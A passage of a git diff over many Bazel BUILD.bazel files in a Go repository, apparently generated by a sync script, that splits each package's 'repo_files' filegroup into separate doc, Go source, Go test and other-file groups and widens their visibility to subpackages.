"**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -97,7 +136,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/timeparsing/BUILD.bazel b/internal/timeparsing/BUILD.bazel index 200d3d297..c9d379697 100644 --- a/internal/timeparsing/BUILD.bazel +++ b/internal/timeparsing/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel index 1fb51af6d..853720cdd 100644 --- a/internal/tracker/BUILD.bazel +++ b/internal/tracker/BUILD.bazel @@ -89,12 +89,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -103,7 +142,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/tracker/conformance/BUILD.bazel b/internal/tracker/conformance/BUILD.bazel index 660c18c85..87299f0ae 100644 --- a/internal/tracker/conformance/BUILD.bazel +++ b/internal/tracker/conformance/BUILD.bazel @@ -55,12 +55,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -69,7 +108,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/types/BUILD.bazel b/internal/types/BUILD.bazel index d81695be6..ff7b6c8eb 100644 --- a/internal/types/BUILD.bazel +++ b/internal/types/BUILD.bazel @@ -44,12 +44,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -58,7 +97,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/ui/BUILD.bazel b/internal/ui/BUILD.bazel index d4bf16eb4..78e070e78 100644 --- a/internal/ui/BUILD.bazel +++ b/internal/ui/BUILD.bazel @@ -35,12 +35,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -49,7 +88,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/uimd/BUILD.bazel b/internal/uimd/BUILD.bazel index 756358b1c..dbbb4fffa 100644 --- a/internal/uimd/BUILD.bazel +++ b/internal/uimd/BUILD.bazel @@ -27,12 +27,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/utils/BUILD.bazel b/internal/utils/BUILD.bazel index be3234d57..ebc93a29a 100644 --- a/internal/utils/BUILD.bazel +++ b/internal/utils/BUILD.bazel @@ -53,12 +53,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -67,7 +106,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/validation/BUILD.bazel b/internal/validation/BUILD.bazel index 53e2232aa..5b75f8787 100644 --- a/internal/validation/BUILD.bazel +++ b/internal/validation/BUILD.bazel @@ -34,12 +34,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -48,7 +87,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/versioncheck/BUILD.bazel b/internal/versioncheck/BUILD.bazel index ffa55c8ad..0a7962628 100644 --- a/internal/versioncheck/BUILD.bazel +++ b/internal/versioncheck/BUILD.bazel @@ -22,12 +22,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -36,7 +75,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/BUILD.bazel b/internal/workapi/BUILD.bazel index ff896671c..89ecb128a 100644 --- a/internal/workapi/BUILD.bazel +++ b/internal/workapi/BUILD.bazel @@ -77,12 +77,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -91,7 +130,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storecounter/BUILD.bazel b/internal/workapi/storecounter/BUILD.bazel index 04b67721e..05bb55bb2 100644 --- a/internal/workapi/storecounter/BUILD.bazel +++ b/internal/workapi/storecounter/BUILD.bazel @@ -16,12 +16,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storequerier/BUILD.bazel b/internal/workapi/storequerier/BUILD.bazel index a8d2e6149..67b7a29b9 100644 --- a/internal/workapi/storequerier/BUILD.bazel +++ b/internal/workapi/storequerier/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storereader/BUILD.bazel b/internal/workapi/storereader/BUILD.bazel index 84e40c33e..5b0c187e6 100644 --- a/internal/workapi/storereader/BUILD.bazel +++ b/internal/workapi/storereader/BUILD.bazel @@ -27,12 +27,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storereadycounter/BUILD.bazel b/internal/workapi/storereadycounter/BUILD.bazel index 6cde32faf..29c4998ef 100644 --- a/internal/workapi/storereadycounter/BUILD.bazel +++ b/internal/workapi/storereadycounter/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storestats/BUILD.bazel b/internal/workapi/storestats/BUILD.bazel index 7b009776b..d0b08a598 100644 --- a/internal/workapi/storestats/BUILD.bazel +++ b/internal/workapi/storestats/BUILD.bazel @@ -16,12 +16,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storeversionreconciler/BUILD.bazel b/internal/workapi/storeversionreconciler/BUILD.bazel index db79c94b7..9eac2b29b 100644 --- a/internal/workapi/storeversionreconciler/BUILD.bazel +++ b/internal/workapi/storeversionreconciler/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storeworkspaceconfig/BUILD.bazel b/internal/workapi/storeworkspaceconfig/BUILD.bazel index c65c1f592..166762ce9 100644 --- a/internal/workapi/storeworkspaceconfig/BUILD.bazel +++ b/internal/workapi/storeworkspaceconfig/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workspacegate/BUILD.bazel b/internal/workspacegate/BUILD.bazel index db9bf9acf..85a5fefdf 100644 --- a/internal/workspacegate/BUILD.bazel +++ b/internal/workspacegate/BUILD.bazel @@ -18,12 +18,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -32,7 +71,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/worktreeremove/BUILD.bazel b/internal/worktreeremove/BUILD.bazel index 97c70cf13..9713ee55b 100644 --- a/internal/worktreeremove/BUILD.bazel +++ b/internal/worktreeremove/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index 1878a4e17..dc28cd166 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -72,12 +72,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -86,7 +125,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/journalops/BUILD.bazel b/journalops/BUILD.bazel index e42f82468..5449e5601 100644 --- a/journalops/BUILD.bazel +++ b/journalops/BUILD.bazel @@ -27,12 +27,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/memoryops/BUILD.bazel b/memoryops/BUILD.bazel index be45b9fa1..fb622d6a2 100644 --- a/memoryops/BUILD.bazel +++ b/memoryops/BUILD.bazel @@ -28,12 +28,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -42,7 +81,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel index 35cd55d7e..2707bcd42 100644 --- a/platforms/BUILD.bazel +++ b/platforms/BUILD.bazel @@ -32,12 +32,51 @@ platform( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -46,7 +85,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/plugins/beads/BUILD.bazel b/plugins/beads/BUILD.bazel index 618b55c28..feed1f222 100644 --- a/plugins/beads/BUILD.bazel +++ b/plugins/beads/BUILD.bazel @@ -35,12 